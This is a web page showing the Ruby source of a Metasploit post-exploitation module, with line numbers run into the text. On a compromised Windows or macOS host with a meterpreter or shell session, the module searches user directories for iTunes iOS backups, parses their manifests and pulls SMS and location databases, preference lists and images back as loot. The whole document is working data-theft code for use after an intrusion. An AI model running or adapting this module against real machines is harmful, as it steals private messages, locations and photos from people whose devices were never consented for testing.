Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/apple_ios_backup.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Post::File8include Msf::Post::Windows::Version910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Apple iOS MobileSync Backup File Collection',15'Description' => %q{ This module will collect sensitive files from any on-disk iOS device backups },16'License' => MSF_LICENSE,17'Author' => [18'hdm',19'bannedit' # Based on bannedit's pidgin_cred module structure20],21'Platform' => %w[osx win],22'SessionTypes' => ['meterpreter', 'shell'],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26core_channel_eof27core_channel_open28core_channel_read29core_channel_write30stdapi_sys_config_getenv31stdapi_sys_config_getuid32]33}34}35)36)37register_options(38[39OptBool.new('DATABASES', [false, 'Collect all database files? (SMS, Location, etc)', true]),40OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),41OptBool.new('IMAGES', [false, 'Collect all image files?', false]),42OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])43]44)45end4647#48# Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms49#50#51def run52case session.platform53when 'osx'54@platform = :osx55paths = enum_users_unix56when 'windows'57@platform = :windows58drive = session.sys.config.getenv('SystemDrive')59version = get_version_info6061if version.build_number >= Msf::WindowsVersion::Vista_SP062@appdata = '\\AppData\\Roaming'63@users = drive + '\\Users'64else65@appdata = '\\Application Data'66@users = drive + '\\Documents and Settings'67end6869if session.type != 'meterpreter'70print_error 'Only meterpreter sessions are supported on windows hosts'71return72end73paths = enum_users_windows74else75print_error "Unsupported platform #{session.platform}"76return77end7879if paths.empty?80print_status('No users found with an iTunes backup directory')81return82end8384process_backups(paths)85end8687def enum_users_unix88if @platform == :osx89home = '/Users/'90else91home = '/home/'92end9394if got_root?95userdirs = []96session.shell_command("ls #{home}").gsub(/\s/, "\n").split("\n").each do |user_name|97userdirs << home + user_name98end99userdirs << '/root'100else101userdirs = [ home + whoami ]102end103104backup_paths = []105userdirs.each do |user_dir|106output = session.shell_command("ls #{user_dir}/Library/Application\\ Support/MobileSync/Backup/")107if output =~ /No such file/i108next109else110print_status("Found backup directory in: #{user_dir}")111backup_paths << "#{user_dir}/Library/Application\\ Support/MobileSync/Backup/"112end113end114115check_for_backups_unix(backup_paths)116end117118def check_for_backups_unix(backup_dirs)119dirs = []120backup_dirs.each do |backup_dir|121print_status("Checking for backups in #{backup_dir}")122session.shell_command("ls #{backup_dir}").each_line do |dir|123next if dir == '.' || dir == '..'124125if dir =~ /^[0-9a-f]{16}/i126print_status("Found #{backup_dir}\\#{dir}")127dirs << ::File.join(backup_dir.chomp, dir.chomp)128end129end130end131dirs132end133134def enum_users_windows135paths = Array.new136137if got_root?138begin139session.fs.dir.foreach(@users) do |path|140next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i141142bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"143dirs = check_for_backups_win(bdir)144dirs.each { |dir| paths << dir } if dirs145end146rescue ::Rex::Post::Meterpreter::RequestError147# Handle the case of the @users base directory is not accessible148end149else150print_status "Only checking #{whoami} account since we do not have SYSTEM..."151path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"152dirs = check_for_backups_win(path)153dirs.each { |dir| paths << dir } if dirs154end155return paths156end157158def check_for_backups_win(bdir)159dirs = []160begin161print_status("Checking for backups in #{bdir}")162session.fs.dir.foreach(bdir) do |dir|163if dir =~ /^[0-9a-f]{16}/i164print_status("Found #{bdir}\\#{dir}")165dirs << "#{bdir}\\#{dir}"166end167end168rescue Rex::Post::Meterpreter::RequestError169# Handle base directories that do not exist170end171dirs172end173174def process_backups(paths)175paths.each { |path| process_backup(path) }176end177178def process_backup(path)179print_status("Pulling data from #{path}...")180181mbdb_data = ''182mbdx_data = ''183184print_status("Reading Manifest.mbdb from #{path}...")185if session.type == 'shell'186mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")187if mbdb_data =~ /No such file/i188print_status("Manifest.mbdb not found in #{path}...")189return190end191else192mfd = session.fs.file.new("#{path}\\Manifest.mbdb", 'rb')193mbdb_data << mfd.read until mfd.eof?194mfd.close195end196197print_status("Reading Manifest.mbdx from #{path}...")198if session.type == 'shell'199mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")200if mbdx_data =~ /No such file/i201print_status("Manifest.mbdx not found in #{path}...")202return203end204else205mfd = session.fs.file.new("#{path}\\Manifest.mbdx", 'rb')206mbdx_data << mfd.read until mfd.eof?207mfd.close208end209210manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)211212patterns = []213patterns << /\.db$/i if datastore['DATABASES']214patterns << /\.plist$/i if datastore['PLISTS']215patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']216patterns << /.*/ if datastore['EVERYTHING']217218done = {}219patterns.each do |pat|220manifest.entries.each_pair do |fname, info|221next if done[fname]222next if info[:filename].to_s !~ pat223224print_status("Downloading #{info[:domain]} #{info[:filename]}...")225226begin227fdata = ''228if session.type == 'shell'229fdata = session.shell_command("cat #{path}/#{fname}")230else231mfd = session.fs.file.new("#{path}\\#{fname}", 'rb')232fdata << mfd.read until mfd.eof?233mfd.close234end235bname = info[:filename] || 'unknown.bin'236rname = info[:domain].to_s + '_' + bname237rname = rname.gsub(%r{/|\\}, '.').gsub(/\s+/, '_').gsub(/[^A-Za-z0-9._]/, '').gsub(/_+/, '_')238ctype = 'application/octet-stream'239240store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}")241rescue ::Interrupt242raise $ERROR_INFO243rescue ::Exception => e244print_error("Failed to download #{fname}: #{e.class} #{e}")245end246247done[fname] = true248end249end250end251252def got_root?253case @platform254when :windows255if session.sys.config.getuid =~ /SYSTEM/256return true257else258return false259end260else # unix, bsd, linux, osx261ret = whoami262if ret =~ /root/263return true264else265return false266end267end268end269270def whoami271if @platform == :windows272session.sys.config.getenv('USERNAME')273else274session.shell_command('whoami').chomp275end276end277end278279280